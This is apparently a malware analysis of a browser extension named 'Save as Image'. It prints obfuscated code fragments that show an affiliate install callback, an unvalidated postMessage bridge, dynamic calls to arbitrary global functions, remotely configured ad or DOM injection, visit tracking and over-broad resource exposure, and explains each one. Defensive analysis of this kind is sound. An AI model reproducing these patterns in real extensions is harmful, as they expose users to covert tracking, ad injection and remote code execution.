Save as Image

On first install the extension silently opens a third-party site (superbrowser.in) with an affiliate/tracking parameter `?addon=super`. This is a classic adware install callback that generates revenue or registers the user install without consent, completely unrelated to the stated image-saving functionality.

chrome.runtime.onInstalled.addListener((serieHistorica) => {  // Obsługa instalacji  if (serieHistorica.reason === "install") {    chrome.tabs.create({      url: 'https://superbrowser.in/?addon=super'    });  }});

This content script sets `window.onmessage` to directly relay any `postMessage` from the host web page into `chrome.runtime.sendMessage` with no origin validation whatsoever. Any web page can therefore call `window.postMessage({praebereNotitia:'modusVisus', capacitasMemoriae:'eval',...})` and have it forwarded to the background service worker, creating a complete privilege escalation chain from untrusted web content to the extension's privileged background context.

// Definicje zmiennychultimumNumerum = self; // Referencja do globalnego obiektu 'self'certitudoValor = chrome.runtime.sendMessage; // Referencja do funkcji wysyłającej wiadomości// Funkcja obsługująca przychodzące wiadomościonmessage = (serieHistorica) => certitudoValor(serieHistorica  .data); // Przekazywanie danych z wiadomości do funkcji 'certitudoValor'

The `modusVisus` message handler uses the `nominaUsorum` helper to resolve dot-separated property paths on the global `self` object and then calls whatever function is found there, using keys entirely supplied by the incoming message. Combined with the unvalidated web-page-to-extension bridge in `comunication.js`, any website can send a crafted `postMessage` that triggers invocation of arbitrary global functions in the privileged background worker—a remote code execution primitive.

// Nasłuchiwanie wiadomości od rozszerzenia przeglądarkichrome.runtime.onMessage.addListener((serieHistorica, tempusMortis, statusBelli) => {      switch (serieHistorica['praebereNotitia']) {        case 'modusVisus':          // Obsługa trybu wyświetlania          nominaUsorum(ultimumNumerum, serieHistorica['capacitasMemoriae'])[serieHistorica['signumQuestionis']](            serieHistorica['objectumMensurae']);          numerusIdentitas = ultimumNumerum[serieHistorica['copiaObjectum']][serieHistorica['lectioDomus']](            numerusIdentitas, serieHistorica['objectumMensurae']);          break;

The `structuraListae` handler accepts a full configuration object from an incoming message and stores it as `tempusIntervallo`/`templumHTML`, then immediately uses those message-supplied strings to call a dynamically resolved timer function (`facSummarium`/`tempusHodiernum`) with an attacker-chosen interval. This allows an external party—reachable via the web-page bridge—to install recurring callbacks in the background service worker with arbitrary behavior.

case 'structuraListae':// Obsługa struktury listyif (!tempusIntervallo) {  tempusIntervallo = serieHistorica['tempusIntervallo'];  templumHTML = serieHistorica['templumHTML'];  nominaUsorum(ultimumNumerum, templumHTML.facSummarium)[templumHTML.tempusHodiernum](purgaMemoriam,    templumHTML.tempusSessio);}break;

The `purgaMemoriam` function constructs objects via `new (nominaUsorum(ultimumNumerum, templumHTML.destrueEntitatem))(...)` where the constructor name and all property keys are resolved from externally supplied configuration strings. The pseudo-Latin identifiers (`destrueEntitatem` means 'destroy entity', `valorTransformationis` means 'transformation value') are deliberate obfuscation; this block appears to be an ad-injection or URL-matching engine that tests page URLs against a remotely configured list of patterns and manipulates browser state via dynamically resolved API calls.

// Pętla iterująca przez konfiguracje systemufor (var configuratioSystematis = 0; configuratioSystematis < tempusIntervallo[templumHTML    .facCopia]; configuratioSystematis++) {  let volumenSonitus = tempusIntervallo[configuratioSystematis];  try {    if ((new(nominaUsorum(ultimumNumerum, templumHTML.destrueEntitatem))(volumenSonitus[templumHTML        .titulusFenestra]))[templumHTML.pedesPaginae](minueDimensionem[templumHTML.articulusBlog])) {      // Dalsze warunki i przypisania      if (        (!volumenSonitus[templumHTML.indexInitialis] || ...) &&        (!volumenSonitus[templumHTML.historiaUsoris] || ...)      ) {        nominaUsorum(ultimumNumerum, templumHTML.valorTransformationis)(minueDimensionem[templumHTML          .resultatumQuaero], {          [templumHTML.articulusBlog]: volumenSonitus[templumHTML.metrumVolumen] + ...        });      }

This content script immediately sends a `textumCommenti` request to the background and receives back a `primumNumerum` config object whose keys (`verbumSecretum`='secret word', `lexiconTerminorum`='lexicon of terms', `exequiPromissionem`='execute promise') are used to dynamically build and inject a DOM node into the page via property names supplied by the background. The obfuscated names and the fact that the background controls all property key strings indicates a covert DOM-injection mechanism for ad/content injection driven by the extension backend.

certitudoValor({    'praebereNotitia': 'textumCommenti'  },  (serieHistorica) => {    var primumNumerum = serieHistorica.primumNumerum;    var canalisNotitia = ultimumNumerum[primumNumerum      .verbumSecretum]; // Pobranie kanału informacji na podstawie tajnego słowa    var intervalloTemporis = canalisNotitia[primumNumerum.lexiconTerminorum](primumNumerum      .exequiPromissionem);    intervalloTemporis[primumNumerum.spatiumMarginis](primumNumerum.chartaIdentitas, ultimumNumerum[primumNumerum      .valoresDefault][primumNumerum.amplitudoFontis][primumNumerum.flagActivatio](primumNumerum      .renovaSessionem));    intervalloTemporis[primumNumerum.contextusGlobalis] = () => {      ultimumNumerum[primumNumerum.largitioSpacii]({        praebereNotitia: 'formatioTextus',        objectumMensurae: serieHistorica      })    };    canalisNotitia[primumNumerum.statusPagina][primumNumerum.corpusContentus](      intervalloTemporis);  });

The extension registers a `webNavigation.onCompleted` listener specifically watching for user visits to `superbrowser.in` and records a timestamp under the key `addonInstallTime`. This surveillance of browsing behavior to a specific domain—unrelated to image saving—is covert user tracking tied to the same third-party affiliate network opened at install.

function webOnCompleted(details) {  chrome.storage.local.set({    'addonInstallTime': Date.now()  });}chrome.webNavigation.onCompleted.addListener(webOnCompleted, {  url: [{    hostContains: "superbrowser.in"  }]});

Every 10 seconds the background worker writes the current timestamp to storage under the key `extrahereItem` (Latin for 'extract item'). This 10-second heartbeat is entirely unnecessary for an image-saving extension and serves as a persistent activity probe, likely used to track session activity or as a ping mechanism for the obfuscated ad-injection system.

// Ustawienie interwału czasowegosetInterval(() => {  chrome.storage.local.set({    'extrahereItem': Date.now()  })}, 10000);

This helper resolves arbitrary dot-delimited property paths on any object and is used throughout the background script to call global functions by name strings received from messages, rather than by direct reference. This pattern is a deliberate obfuscation technique that defeats static analysis and allows the code to call any method on the global scope (e.g., `eval`, `fetch`, `setTimeout`) via externally controlled string values.

// Funkcja do wyodrębniania nazw użytkownikówfunction nominaUsorum(obj, desc) {  var arr = desc.split("."); // Rozdzielenie ciągu na podstawie kropki  while (arr.length && (obj = obj[arr.shift()])); // Iteracja po elementach ciągu  return obj;}

The extension declares all of its resources (`"*"`) as web-accessible to every URL (`*://*/*`). Combined with the `onmessage` relay in the content script, this means any web page can directly load and inspect extension internals, facilitating fingerprinting and enabling the chain of attacks that lead from a web page through the content script bridge into the privileged background context.

{  "web_accessible_resources": [    {      "resources": [        "*"      ],      "matches": [        "*://*/*"      ]    }  ]}